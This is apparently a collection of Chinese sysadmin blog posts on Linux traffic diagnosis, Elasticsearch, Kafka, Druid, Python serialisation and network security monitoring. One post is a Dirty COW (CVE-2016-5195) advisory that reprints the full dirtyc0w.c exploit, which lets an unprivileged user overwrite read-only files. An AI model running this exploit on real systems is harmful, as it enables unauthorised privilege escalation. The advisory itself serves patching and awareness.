Linux下定位使用流量最大的进程

在工作中经常会遇到服务器流量较高的情况,如果服务器跑着较多的应用,这时候我们就需要定位找到使用流量较大的程序,然后在具体作分析。 使用iftop -P 定位哪个进程的流量比较大 通常定位进程流量的可以用到iptraf,nethogs、iftop等,iptr...
继续阅读 »
在工作中经常会遇到服务器流量较高的情况,如果服务器跑着较多的应用,这时候我们就需要定位找到使用流量较大的程序,然后在具体作分析。


使用iftop -P 定位哪个进程的流量比较大


通常定位进程流量的可以用到iptraf,nethogs、iftop等,iptraf可以参考:http://linuxperf.com/?p=11​ , nethogs可以参考:http://man.linuxde.net/nethogs​  ,下面我介绍iftop查看过程,iftop -P结果如下:
iftop.png

从上图可以看出40613占用流量是最大的,接下来我们根据端口号,来确定程序的PID。


根据端口定位程序PID


# lsof -i:40613   或者   netstat -atunp |grep 40613
pid.png

确认了PID为16276,下一步根据PID确定是哪个进程。


定位进程


根据进程PID确定进程的名称
# cat /proc/16276/cmdline
然后可以看到具体运行的程序,最后就可以分析为什么这个程序这么消耗流量了。 收起阅读 »

Elasticsearch中常用的API接口整理

Elasticsearch中常用API分类 elasticsearch中常用的API分类如下: 文档API: 提供对文档的增删改查操作搜索API: 提供对文档进行某个字段的查询索引API: 提供对索引进行操作,查看索引信息等查看API: 按照更直...
继续阅读 »
elasticsearch.png


Elasticsearch中常用API分类


elasticsearch中常用的API分类如下:
  • 文档API: 提供对文档的增删改查操作
  • 搜索API: 提供对文档进行某个字段的查询
  • 索引API: 提供对索引进行操作,查看索引信息等
  • 查看API: 按照更直观的形式返回数据,更适用于控制台请求展示
  • 集群API: 对集群进行查看和操作的API
下面简单的一一介绍记录一下。 

文档类API

Index API: 创建并建立索引
PUT twitter/tweet/1{    "user" : "kimchy",    "post_date" : "2009-11-15T14:12:12",    "message" : "trying out Elasticsearch"}
官方文档参考:Index API 。 Get API: 获取文档
curl -XGET 'http://localhost:9200/twitter/tweet/1'
官方文档参考:Get API 。 DELETE API: 删除文档
$ curl -XDELETE 'http://localhost:9200/twitter/tweet/1'
官方文档参考:Delete API 。 UPDATE API: 更新文档
PUT test/type1/1{    "counter" : 1,    "tags" : ["red"]}
官方文档参考:Update API 。 Multi Get API: 一次批量获取文档
curl 'localhost:9200/_mget' -d '{    "docs" : [        {            "_index" : "test",            "_type" : "type",            "_id" : "1"        },        {            "_index" : "test",            "_type" : "type",            "_id" : "2"        }    ]}'
官方文档参考:Multi Get API 。 Bulk API: 批量操作,批量操作中可以执行增删改查
$ curl -s -XPOST localhost:9200/_bulk --data-binary "@requests"; echo{"took":7, "errors": false, "items":[{"index":{"_index":"test","_type":"type1","_id":"1","_version":1,"result":"created","forced_refresh":false}}]}
官方文档参考:Bulk API 。 DELETE By Query API: 根据查询删除
POST twitter/_delete_by_query{  "query": {     "match": {      "message": "some message"    }  }}
官方文档参考:Delete By Query API 。 Update By Query API: 根据查询更新
POST twitter/_update_by_query?conflicts=proceed
官方文档参考:Update By Query API 。 Reindex API:重建索引
POST _reindex{  "source": {    "index": "twitter"  },  "dest": {    "index": "new_twitter"  }}
官方文档参考:Reindex API 。 Term Vectors: 词组分析,只能针对一个文档
curl -XGET 'http://localhost:9200/twitter/tweet/1/_termvectors?pretty=true'
官方文档参考:Term Vectors 。 Multi termvectors API: 多个文档的词组分析
curl 'localhost:9200/_mtermvectors' -d '{   "docs": [      {         "_index": "testidx",         "_type": "test",         "_id": "2",         "term_statistics": true      },      {         "_index": "testidx",         "_type": "test",         "_id": "1",         "fields": [            "text"         ]      }   ]}'
官方文档参考:Multi termvectors API 。 更多关于文档类API请参考:Document APIs 。 

搜索类API

URI Search:url中传参
GET twitter/tweet/_search?q=user:kimchy
官方文档参考:URI Search 。 Request Body搜索接口: 搜索的条件在请求的body中
GET /twitter/tweet/_search{    "query" : {        "term" : { "user" : "kimchy" }    }}
官方文档参考:Request Body Search 。   
  • 搜索模版设置接口: 可以设置搜索的模版,模版的功能是可以根据不同的传入参数,进行不同的实际搜索
  • 搜索分片查询接口: 查询这个搜索会使用到哪个索引和分片
  • Suggest接口: 搜索建议接口,输入一个词,根据某个字段,返回搜索建议。
  • 批量搜索接口: 把批量请求放在一个文件中,批量搜索接口读取这个文件,进行搜索查询
  • Count接口: 只返回符合搜索的文档个数
  • 文档存在接口: 判断是否有符合搜索的文档存在
  • 验证接口: 判断某个搜索请求是否合法,不合法返回错误信息
  • 解释接口: 使用这个接口能返回某个文档是否符合某个查询,为什么符合等信息
  • 抽出器接口: 简单来说,可以用这个接口指定某个文档符合某个搜索,事先未文档建立对应搜索
官方文档参考:Search APIS 。 

索引类API

  • 创建索引接口(POST my_index)
  • 删除索引接口(DELETE my_index)
  • 获取索引信息接口(GET my_index)
  • 索引是否存在接口(HEAD my_index)
  • 打开/关闭索引接口(my_index/_close, my_index/_open)
  • 设置索引映射接口(PUT my_index/_mapping)
  • 获取索引映射接口(GET my_index/_mapping)
  • 获取字段映射接口(GET my_index/_mapping/field/my_field)
  • 类型是否存在接口(HEAD my_index/my_type)
  • 删除映射接口(DELTE my_index/_mapping/my_type)
  • 索引别名接口(_aliases)
  • 更新索引设置接口(PUT my_index/_settings)
  • 获取索引设置接口(GET my_index/_settings)
  • 分析接口(_analyze): 分析某个字段是如何建立索引的
  • 建立索引模版接口(_template): 为索引建立模版,以后新创建的索引都可以按照这个模版进行初始化
  • 预热接口(_warmer): 某些查询可以事先预热,这样预热后的数据存放在内存中,增加后续查询效率
  • 状态接口(_status): 索引状态
  • 批量索引状态接口(_stats): 批量查询索引状态
  • 分片信息接口(_segments): 提供分片信息级别的信息
  • 索引恢复接口(_recovery): 进行索引恢复操作
  • 清除缓存接口(_cache/clear): 清除所有的缓存
  • 输出接口(_flush)
  • 刷新接口(_refresh)
  • 优化接口(_optimize): 对索引进行优化
  • 升级接口(_upgrade): 这里的升级指的是把索引升级到lucence的最新格式
官方文档参考:Indices APIS 。 

查看类API

  • 查看别名接口(_cat/aliases): 查看索引别名
  • 查看分配资源接口(_cat/allocation)
  • 查看文档个数接口(_cat/count)
  • 查看字段分配情况接口(_cat/fielddata)
  • 查看健康状态接口(_cat/health)
  • 查看索引信息接口(_cat/indices)
  • 查看master信息接口(_cat/master)
  • 查看nodes信息接口(_cat/nodes)
  • 查看正在挂起的任务接口(_cat/pending_tasks)
  • 查看插件接口(_cat/plugins)
  • 查看修复状态接口(_cat/recovery)
  • 查看线城池接口(_cat/thread_pool)
  • 查看分片信息接口(_cat/shards)
  • 查看lucence的段信息接口(_cat/segments)
官方文档参考:Cat APIS 。 

集群类API

  • 查看集群健康状态接口(_cluster/health)
  • 查看集群状况接口(_cluster/state)
  • 查看集群统计信息接口(_cluster/stats)
  • 查看集群挂起的任务接口(_cluster/pending_tasks)
  • 集群重新路由操作(_cluster/reroute)
  • 更新集群设置(_cluster/settings)
  • 节点状态(_nodes/stats)
  • 节点信息(_nodes)
  • 节点的热线程(_nodes/hot_threads)
  • 关闭节点(/nodes/_master/_shutdown)

官方文档参考:Cluster APIS 。  尽在:https://www.elastic.co/guide/en/elasticsearch/reference/current/index.html 收起阅读 »

Kafka topic 常用命令介绍

本文主要记录平时kafka topic命令常使用的命令集,包括listTopic,createTopic,deleteTopic和describeTopic和alertTopic等,我这里是基于kafka 0.8.1.1版本,具体情况如下所示。   ...
继续阅读 »
kafka.png

本文主要记录平时kafka topic命令常使用的命令集,包括listTopic,createTopic,deleteTopic和describeTopic和alertTopic等,我这里是基于kafka 0.8.1.1版本,具体情况如下所示。
 
一、 describe topic 显示topic详细信息
# ./kafka-topics.sh --describe --zookeeper localhost:2181
Topic:mobTopic PartitionCount:4 ReplicationFactor:1 Configs:
Topic: mobTopic Partition: 0 Leader: 0 Replicas: 0 Isr: 0
Topic: mobTopic Partition: 1 Leader: 1 Replicas: 1 Isr: 1
Topic: mobTopic Partition: 2 Leader: 2 Replicas: 2 Isr: 2
Topic: mobTopic Partition: 3 Leader: 0 Replicas: 0 Isr: 0
Topic:serverTopic PartitionCount:4 ReplicationFactor:1 Configs:
Topic: serverTopic Partition: 0 Leader: 2 Replicas: 2 Isr: 2
Topic: serverjsTopic Partition: 1 Leader: 0 Replicas: 0 Isr: 0
Topic: serverjsTopic Partition: 2 Leader: 1 Replicas: 1 Isr: 1
Topic: serverjsTopic Partition: 3 Leader: 2 Replicas: 2 Isr: 2
Topic:bugTopic PartitionCount:4 ReplicationFactor:1 Configs:
Topic: bugTopic Partition: 0 Leader: 1 Replicas: 1 Isr: 1
Topic: bugTopic Partition: 1 Leader: 2 Replicas: 2 Isr: 2
Topic: bugTopic Partition: 2 Leader: 0 Replicas: 0 Isr: 0
Topic: bugTopic Partition: 3 Leader: 1 Replicas: 1 Isr: 1
1. 如上面可见,如果指定了--topic就是只显示给定topic的信息,否则显示所有topic的详细信息。
2. 如果指定了under-replicated-partitions,那么就显示那些副本数量不足的分区(ISR size < AR.size)
3. 如果指定了unavailable-partitions,那么就显示那些leader副本已不可用的分区
4. 从zookeeper上获取当前所有可用的broker
5. 遍历每个要describe的topic,
6. 获取这个topic的分区副本分配信息,若该信息不存在说明topic不存在
7. 否则将分配信息按照分区号进行排序
10. 如果没有指定步骤2中的参数也没有指定步骤3中的参数,那么显示分区数信息、副本系数信息以及配置信息
11. 默认情况下还会显示各个分区的信息
12. 从zookeeper中获取每个分区的ISR、Leader、AR信息并显示
 
二、create topic 创建topic
# kafka-topics.sh --zookeeper localhost:2181 --create --topic mobTopic --replication-factor 1  --partitions 4

  1.  从命令行中获取要创建的topic名称
  2. 解析命令行指定的topic配置(如果存在的话),配置都是x=a的格式
  3. 若指定了replica-assignment参数表明用户想要自己分配分区副本与broker的映射——通常都不这么做,如果不提供该参数Kafka帮你做这件事情
  4. 检查必要的参数是否已指定,包括:zookeeper, replication-factor,partition和topic
  5. 获取/brokers/ids下所有broker并按照broker id进行升序排序
  6. 在broker上分配各个分区的副本映射 (没有指定replica-assignment参数,这也是默认的情况)
  7. 检查topic名字合法性、自定义配置的合法性,并且要保证每个分区都必须有相同的副本数
  8. 若zookeeper上已有对应的路径存在,直接抛出异常表示该topic已经存在
  9. 确保某个分区的多个副本不会被分配到同一个broker
  10. 若提供了自定义的配置,更新zookeeper的/config/topics/[topic]节点的数据
  11. 创建/brokers/topics/[topic]节点,并将分区副本分配映射数据写入该节点

  
三、delete topic 删除topic
# ./kafka-topics.sh --zookeeper locahost:2181 --delete --topic mobTopic

  1. 获取待删除的topic,如果没有指定--topic就是删除所有的topic
  2. 对于每个要删除的topic,在zookeeper上的/admin/delete_topics下创建对应的子节点。kafka目前的删除topic逻辑只是在Zookeeper上标记而已,会有专门的线程负责监听该路径下的变更并负责更新zookeeper上其他节点上的数据,但底层的日志文件目前还是需要手动删除。

   
四、alert 修改topic的partion
# ./kafka-topics.sh --zookeeper localhost:2181 --alter --topic mobTopic --partitions 10
减少目前kakfa应该是不支持. 收起阅读 »

Druid任务分配策略配置详解

在说任务配置策略之前,先给大家看一下druid任务处理的大概架构图 如上图可以看出overlord节点如何将任务分配到middlemanager节点进行处理,如果在架构中有多个middlemanager节点,那任务将怎么分配呢,分配的测试是...
继续阅读 »
Druid.png

在说任务配置策略之前,先给大家看一下druid任务处理的大概架构图
DruidWorkFlow.png

如上图可以看出overlord节点如何将任务分配到middlemanager节点进行处理,如果在架构中有多个middlemanager节点,那任务将怎么分配呢,分配的测试是什么?
 
默认策略是fillCapacity, 意思是当一个MiddleManager的worker capacity满了的时候,再有任务到来时,才会分配给另外的MiddleManager节点。
 
补充: middlemanager的capacity意思是,能容纳任务的数量,通过修改middleManager节点下的 runtime.properties配置文件里的druid.worker.capacity属性配置。 
capacity.png

那么,除了这个策略,还有其他策略吗?另外,这个策略如何修改呢? 除了这个策略,还有fillCapacityWithAffinity, equalDistribution and javascript策略,那么策略如何修改呢? 
 
通过向Overlord节点发送个一个HTTP请求来修改,实质上是修改保存druid元数据的数据库,即 MetadataStorage,修改步骤如下: 
http://10.1.3.9:8090/druid/indexer/v1/worker(http://: /druid/indexer/v1/worke
X-Druid-Author sdx(修改配置的作者,可以随意写) X-Druid-Comment equal policy(修改配置的注释,可以随意写) Content-Type application/json
postman.png
http://10.1.3.9:8090/druid/indexer/v1/worker(http://: /druid/indexer/v1/worker)
{
"selectStrategy": {
"type": "equalDistribution" }
}
send.png

通过访问http://10.1.3.9:8090/druid/indexer/v1/worker/history查看配置是否成功 
history.png

或者通过查看MetadataStorage的druid_conifg和druid_audit表查看是否配置成功 
 
注意: linux上通过如下指令配置:
curl -XPOST -H 'X-Druid-Author: lucky' -H 'X-Druid-Comment: lucky' -H 'Content-Type: application/json' http://10.1.3.9:8090/druid/indexer/v1/worker -d '{ "selectStrategy": { "type": "equalDistribution" } }'
更多内容请参考官网:http://druid.io/docs/0.9.1.1/configuration/indexing-service.html收起阅读 »

CVE-2016-5195脏牛漏洞:Linux内核通杀提权漏洞

bug
漏洞描述 漏洞编号:CVE-2016-5195 漏洞名称:脏牛(Dirty COW) 漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权 影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到...
继续阅读 »
dirtycow.jpeg


漏洞描述


漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。


为什么这个漏洞叫脏牛(Dirty COW)漏洞?


Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。


漏洞相关细节​


漏洞细节:https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
根据RedHat公司的报告称:目前已经在野外发现针对这个漏洞的利用技术。但是到目前为止,我们没有更进一步的消息。    https://access.redhat.com/security/vulnerabilities/2706661
Commit messages:
commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
Author: Linus Torvalds
Date: Mon Aug 1 11:14:49 2005 -0700
修复get_user_pages()写访问竞争条件:
如果一个更新来自其他线程结束修改页表,handle_mm_fault()将可能结束需要我们重新操作。handle_mm_fault()没有真正的防护一直能够破坏COW。这样看起来是不错的,但是get_user_pages()结束后会重新读,使get_user_pages()一直重写的话,需要dirty bit 设置,最简单的解决竞争条件的办法是,如果COW的break因为某些原因失败,我们能够继续循环继续尝试。
commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619
Author: Linus Torvalds
Date: Thu Oct 13 20:07:36 2016 GMT
这是一个年代久远的BUG了,我在7年前已经曾经尝试修复过一次了(commit 4ceb5db9757a),但是由于一些问题(commit f33ea7f404e5)又回滚了。这次,我们对pte_dirty()位做了检测。


Linux各发行版本对于该漏洞相关信息


Red Hat:https://access.redhat.com/security/cve/cve-2016-5195 
Debian :https://security-tracker.debian.org/tracker/CVE-2016-5195 
Ubuntu :http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html


受影响的范围


这个漏洞自从内核2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。


如何修改该漏洞


Linux团队正在积极的修复此漏洞,可以通过系统更新到最新发行版修复此漏洞。软件开发人员也可以通过
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新编译Linux修复此漏洞。


如何发现有人利用该漏洞攻击我?


利用这个Bug不会在日志里留下异常信息。但是部分安全社区已经部署蜜罐,如果有攻击者利用此漏洞,将会触发告警。


谁发现的这个漏洞?


Phil Oester (https://access.redhat.com/security/cve/CVE-2016-5195 )
对于该漏洞作者甚至申请了独立的:网站、twitter帐号、github帐号、并找专人设计了Logo
作者对此的解释是:我们对建立有品牌的漏洞充满了乐趣,但是也许在这个时间点,这不是一个好主意。但是为了表明我们的立场,我才创建了网站,在线商店,twiiter帐号,以及请专业设计师为这个漏洞设计了LOGO。
 
2016.10.21 9:10更新POC:
POC地址:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include
#include
#include
#include
#include

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv)
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3)return 1;
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}

转载:安全客 , 参考:https://www.grahamcluley.com/dirty-cow-linux-vulnerability-need-know/ 收起阅读 »

Druid中Segements保留和自动删除规则配置

经测试发现:  DeepStorage里所有的segements都需要在Historical节点中有一份。其实这样说是不严格的,有时候我们需要DeepStorage里所有的segements(或者某类datasource)在Historical节点中...
继续阅读 »
Druid.png

经测试发现: 
DeepStorage里所有的segements都需要在Historical节点中有一份。其实这样说是不严格的,有时候我们需要DeepStorage里所有的segements(或者某类datasource)在Historical节点中有一份或者n份。这样做的好处是,提高数据查询效率,那么这个n在哪里配置呢?
 
原来是在druid_rules表里面配置,默认情况下,druid_rules表里面只有一条数据,其中payload字段默认值如下:
[{"tieredReplicants":{"_default_tier":2},"type":"loadForever"}]
意思是 保证deepstorage里面的数据,在Historical节点集群存在两份,即副本为2,这两份数据一定保存在不同的Historical服务器。
 
如果只有一台Historical服务器,那么则只会有一份数据,如果你添加一台Historical服务器,则就会在新的节点复制一份数据。
 
如果想修改默认的副本数,不需要数据备份,进行如下操作就好:
update druid_rules set payload='[{"tieredReplicants":{"_default_tier":1},"type":"loadForever"}]' where id="_default_2016-09-23T08:50:09.457Z";
只需把_default_tier的值改为1即可,id得看druid_rules表中的具体值。
 
segment执行过程如下:
  1. 聚合任务生成segment
  2. 将segment push到Deep Storage 
  3. Historical节点从 DeepStorage加载segment
  4. segment加载成功后,调用回调方法结束任务 

 
所以,如果Historical节点硬盘上缓存的segment占满磁盘空间,任务会一直挂起, 最后任务数量达到MiddleManager节点的容量,导致任务排队。 
 
那么现实业务中,如果DeepStorage里所有的segments 都需要在Historical节点中有一份,会非常 浪费空间,浪费空间就是浪费金钱。 
 
很不能理解这种方式,并且我们对DeepStorage节点和Historical节点之间的关系一直都是这样理解的,当查询的数据不在Historical节点的时候,才会从DeepStorage加载。但是,现实是残酷的,现实不是这样的。 
 
如何解决这个问题呢?这时我们就需要用到druid的数据保留和自动删除规则配置。 通过这个配置,我们可以为每个datasource配置一个据保留和自动删除规则。 
 
这个配置可以通过druid提供的HTTP接口配置,也可以通过Coordinator界面配置,如下: 
coordinate.png

此配置的意思是: 我们为agentToic-1m设置了两个rule,第一个rule的意思是(Load-Period-P30D)保 留最近30天的数据。第二个rule的意思是(Drop-Forever)删除所有的数据。另外还需要填写,修改 配置的作者和注释。最后Save all rules。 通过如下界面查看,配置是否成功,或者通过查看MetadataStorage的druid_rules表查看配置是否成功。
rules.png

最后,结合下图,观察左侧segment列表是否会发生变化(shareds的数量和intergvals的数量)。 
datasource.png

经过验证,左侧列表只会展示最近30天的数据,通过查看MetadataStorage的druid_segments表, 发现30天以前的数据都被假删了,即used字段设置为了0,表示配置成功。 
 
注意: 
如果druid_segments表中的某条数据used字段为0,即此条数据对应的segment不再支持可查,同 时会再Historical节点删除。 如果上面的P30D改为P1M,意思是1个月,这个月不是自然月,而是最近30天的意思。 如果按照如上的方式设置了,再修改第一条配置规则,改为P50D,那么数据是不能恢复的,即还 是只会保留最近30天的数据。 一个笨的恢复数据方法是,可以通过修改MetadataStorage的druid_segments表中的used字段来恢复数据。 
 
论坛:
If you configure a per datasource rule that drops data for the current month, and there i
s a default rule where everything is loaded, then yes, data for the current month is dropp ed and all older data is loaded. If you instead configure a load rule for the current month followed by a drop rule for everything else, then the current month of data is kept, and
all older data is dropped.
具体内容,参考官网:http://druid.io/docs/latest/operations/rule-configuration.html
任务分配策略,会让Geek小A  明天写! 收起阅读 »

Python的数据序列化「Json & Pickle」

在介绍Python的数据序列化模块「Json & Pickle」之前,我们先来看看为什么需要数据序列化,什么是数据序列化。   为什么需要数据序列化,我认为有如下两种原因: 一个原因是将对象(一切皆对象)的状态保持在存储媒介(硬盘、网盘......)中...
继续阅读 »
jason.jpg
在介绍Python的数据序列化模块「Json & Pickle」之前,我们先来看看为什么需要数据序列化,什么是数据序列化。
 
为什么需要数据序列化,我认为有如下两种原因:
一个原因是将对象(一切皆对象)的状态保持在存储媒介(硬盘、网盘......)中,以便可以在以后重新创建精确的副本,相当于镜像的概念,比如我们平时利用VMware虚拟机中的挂起功能,这个挂起功能就是利用数据的序列化,把虚拟机当前的状态序列化保存在本地磁盘的文件中,然后恢复的时候只需反序列化,把状态恢复即可。
 
另一个原因是通过值将对象从一个应用程序域发送到另一个应用程序域中。例如,你利用Python监控采集程序采集到的数据想传送给Zabbix处理。当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,都会以二进制序列的形式在网络上传送。发送方需要把这个对象转换为字节序列,才能在网络上传送;接收方则需要把字节序列再恢复为对象。
 
序列化和反序列化:
  • 序列化: 将数据结构或对象转换成二进制串的过程。
  • 反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程。
序列化的目的就是为了跨进程传递格式化数据和保存某个时刻的状态。 什么是数据序列化:数据序列化就是将对象或者数据结构转化成特定的格式,使其可在网络中传输,或者可存储在内存或者文件中。反序列化则是相反的操作,将对象从序列化数据中还原出来。而对象序列化后的数据格式可以是二进制,可以是XML,也可以是JSON等任何格式。对象/数据序列化的重点在于数据的交换和传输,例如在远程调用技术(如EJB,XML-RPC, Web Service),或者在GUI控件开发(JavaBean)等等。 清楚了数据格式化的必要和简单认识了什么是数据格式化之后,我们就来看看Python中两个数据格式化模块的使用。 

Json Module

Json:用于字符串和 python数据类型间进行转换;Json模块提供了四个功能:dumps、dump、loads、load[list=1]
  • dumps把数据类型转换成字符串 
  • dump把数据类型转换成字符串并存储在文件中 
  • loads把字符串转换成数据类型  
  • load把文件打开从字符串转换成数据类型
  • 实例如下:
    #!/usr/bin/env python3# _*_coding:utf-8_*_# Author: Lucky.chenimport jsoninfo = {'1MinLoad': 5, 'MemUse': '5G', 'DiskUse': '80G'}print('dumps 操作之前数据类型: %s' % type(info))JsonInfo = json.dumps(info)print(JsonInfo)# dumps 将数据通过特殊的形式转换为所有程序语言都识别的字符串print('dumps 操作之后数据类型: %s' % type(JsonInfo))# loads 将字符串通过特殊的形式转为python是数据类型  (将字符串转为字典)NewInfo = json.loads(JsonInfo)print('loads 操作之后数据类型为: %s' % type(NewInfo))print('分割线'.center(50, '-'))# dump 将数据通过特殊的形式转换为所有语言都识别的字符串并写入文件with open('SystemInfo.txt', 'w') as f:    json.dump(info, f)    print('dump file end!!')# load 从文件读取字符串并转换为python的数据类型with open('SystemInfo.txt', 'r') as f:    LoadInfo = json.load(f)    print('load file end, data type is %s' % type(LoadInfo), LoadInfo)
    结果如下:
    dumps 操作之前数据类型: {"MemUse": "5G", "DiskUse": "80G", "1MinLoad": 5}dumps 操作之后数据类型: loads 操作之后数据类型为: -----------------------分割线------------------------dump file end!!load file end, data type is  {'MemUse': '5G', '1MinLoad': 5, 'DiskUse': '80G'}
    一个错误案例如下:
    #!/usr/bin/env python3# _*_coding:utf-8_*_# Author: Lucky.chenimport jsondef test():    print('Test Func')info = {'Name': 'crh', 'age': 18, 'Func': test}json.dumps(info)
    结果:
     raise TypeError(repr(o) + " is not JSON serializable")TypeError:  is not JSON serializable
    如上可知函数不能被json序列化。 

    Pickle Module

    pickle,用于python特有的类型 和 python的数据类型间进行转换Pickle模块同样提供了四个功能:dumps、dump、loads、load[list=1]
  • dumps把数据类型转换成字符串 
  • dump把数据类型转换成字符串并存储在文件中 
  • loads把字符串转换成数据类型  
  • load把文件打开从字符串转换成数据类型


  • Pickle可以序列化一些较复杂的数据,和json的区别在于pickle序列化的时候,存放的是二进制的文件,所以打开一个文件的时候,我们要以二进制的格式打开。
     实例如下:
    #!/usr/bin/env python3
    # _*_coding:utf-8_*_
    # Author: Lucky.chen

    import pickle


    def test(name):
    print('%s write Test Func' % name)

    info = {'Name': 'crh', 'age': 18, 'Func': test}

    print('dumps 之前数据的类型为: %s' % type(info))

    # pickle.dumps 将数据通过特殊的形式转换为只有python语言认识bytes类型(Python2.*中是字符串类型)
    NewInfo = pickle.dumps(info)
    print('dumps result is %s, data type is %s' % (NewInfo, type(NewInfo)))

    # pickle.loads 将bytes通过特殊的形式转为python是数据类型
    LoadInfo = pickle.loads(NewInfo)
    print('loads result is %s, data type is %s' % (LoadInfo, type(LoadInfo)))
    LoadInfo['Func']('crh')

    print('分割线'.center(50, '-'))

    # pickle.dump 将数据通过特殊的形式转换为只有python语言认识的字符串,并写入文件
    with open('pickle.rb', 'wb') as f:
    pickle.dump(info, f)

    # pickle.load 从文件读取只有python语言认识的字符串并转换为python的数据类型
    with open('pickle.rb', 'rb') as f:
    Info = pickle.load(f)

    print(Info, 'type is %s' % type(Info))
    结果如下:
    dumps 之前数据的类型为: 
    dumps result is b'\x80\x03}q\x00(X\x03\x00\x00\x00ageq\x01K\x12X\x04\x00\x00\x00Nameq\x02X\x03\x00\x00\x00crhq\x03X\x04\x00\x00\x00Funcq\x04c__main__\ntest\nq\x05u.', data type is
    loads result is {'age': 18, 'Name': 'crh', 'Func': }, data type is
    crh write Test Func
    -----------------------分割线------------------------
    {'age': 18, 'Name': 'crh', 'Func': } type is

     


    总结


    很多情况下不同的程序之间传送数据我们一般通过文件的方式,但是这个方法是最原始的,而dumps可以直接让数据格式化传送给对方,但是不是所有的程序都是python的,所以只利用pickle是不现实的,比如一个python的程序需要发送一段数据给一个java程序开发的应用,这时候很多内存数据的交换,就得用json了。
     
    并且josn能dump的结果更可读,那么有人就问了,那还用pickle做什么不直接用josn,是这样的josn只能把常用的数据类型序列化(列表、字典、列表、字符串、数字、),比如日期格式、类对象!josn就不行了。
     
    为什么他不能序列化上面的东西呢?因为josn是跨语言的!注定了它只能规范出一些通用的数据类型的格式,统一标准。
      收起阅读 »

    Elasticsearch应用在数据中心的实时协议分析和安全威胁检测

    数据中心面临的挑战 被DDOS攻击: 网络瘫痪,大面积影响业务植入后门发包: 占用带宽资源,消耗成本运营“黑盒子”: 无法分辨“好人”、“坏人”监控粒度粗: 无法及时响应并定位事件   早期解决方案  Cacti 利用SNMP监控交换 机出入口流量交换机推...
    继续阅读 »


    数据中心面临的挑战


    1. 被DDOS攻击: 网络瘫痪,大面积影响业务
    2. 植入后门发包: 占用带宽资源,消耗成本
    3. 运营“黑盒子”: 无法分辨“好人”、“坏人”
    4. 监控粒度粗: 无法及时响应并定位事件

     
    早期解决方案 
    • Cacti 利用SNMP监控交换 机出入口流量
    • 交换机推送Sflow流量采样 数据,使用Solarwids监控
    • 遇到DDOS时,使用手动 Sniffer抓包分析
     第一期改造后 
    arch.png
     推送Netflow/Sflow 劣势
    • 消耗路由器CPU资源
    • 100-1000:1采样比,监测粒度粗
    • 业务和应用识别依赖端口号,无法识别日新月异 的业务类型 

     
    如何用数据驱动IDC运营 
    nsm.png

     
    NSM架构设计 
    nsmarch.png

     
    第二期改造后 
    erqi.png

     
    10G下的NSM :
    nsm10g.png

     


    实际效果展示 


    NSM架构解析 
    nsmp.png

    实时协议分析:Bro日志类型 
    bro.png

    Flow: 数据格式 
    format.png

    实时安全威胁检测引擎 
    sbro.png

    Suricata Today 
    suricata.png

    实时流量 +ELK + VirusTotal 
    ELK.png

    构建10G+ NSM的几个关键点 
    1、抓包网卡   
    2、内核优化 
    3、驱动与rss 
    4、PF-Ring_zc 
    5、ntop、nprobe、ndpi 
    6、跨数据中心es 
